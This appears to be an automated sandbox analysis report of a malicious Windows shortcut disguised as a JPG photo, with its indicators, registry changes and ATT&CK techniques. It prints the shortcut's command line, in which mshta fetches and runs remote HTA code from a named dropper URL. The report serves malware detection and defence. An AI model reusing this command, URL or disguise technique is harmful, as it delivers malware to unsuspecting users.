1af2c8d963b56512e04a7f2136b3794f4172ae089e72880119e6bcdba4e9df9c

Analysis

max time kernel
296s
max time network
1219s
platform
windows7_x64
resource
win7-20220310-en
submitted
22-03-2022 12:37

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General

Target

samples/IMG20210918232755.jpg.lnk

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://inapharma.in/css/files/photos/Radhika-Images/Image8

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

5 1056 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

flow	pid	process
5	1056	mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 904 wrote to memory of 1056	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 1056	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 1056	904	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG20210918232755.jpg.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Radhika-Images/Image8
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  PID:1056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/904-54-0x000007FEFC391000-0x000007FEFC393000-memory.dmp

Filesize
8KB

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